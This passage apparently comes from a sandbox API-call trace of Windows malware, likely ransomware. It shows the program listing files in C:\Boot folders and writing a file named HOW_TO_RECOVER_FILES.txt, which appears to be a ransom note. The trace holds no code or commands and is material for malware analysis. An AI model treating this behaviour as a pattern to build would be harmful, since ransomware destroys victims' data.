| out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0070.245] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0070.245] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0070.245] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0070.245] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0070.245] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0070.245] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0070.245] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0070.246] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0070.246] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0070.246] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.246] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.247] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0070.247] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.248] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.248] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0070.248] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0070.248] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0070.248] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0070.248] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0070.248] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0070.249] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0070.249] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0070.249] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0070.249] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0070.249] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0070.250] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0070.250] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0070.250] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0070.250] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0070.250] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0070.250] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0070.250] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.252] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.252] CreateFileW (lpFileName="C:\\Boot\\Fonts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\fonts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0070.431] GetFileType (hFile=0x6b0) returned 0x1 [0070.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.431] GetFileType (hFile=0x6b0) returned 0x1 [0070.432] WriteFile (in: hFile=0x6b0, lpBuffer=0x32b7998*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32b7998*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.433] CloseHandle (hObject=0x6b0) returned 1 [0070.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.433] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-CA", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-CA", lpFilePart=0x0) returned 0xd [0070.433] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.434] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.434] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.435] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.435] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.435] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-CA", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-CA", lpFilePart=0x0) returned 0xd [0070.435] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.435] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.435] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.435] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, 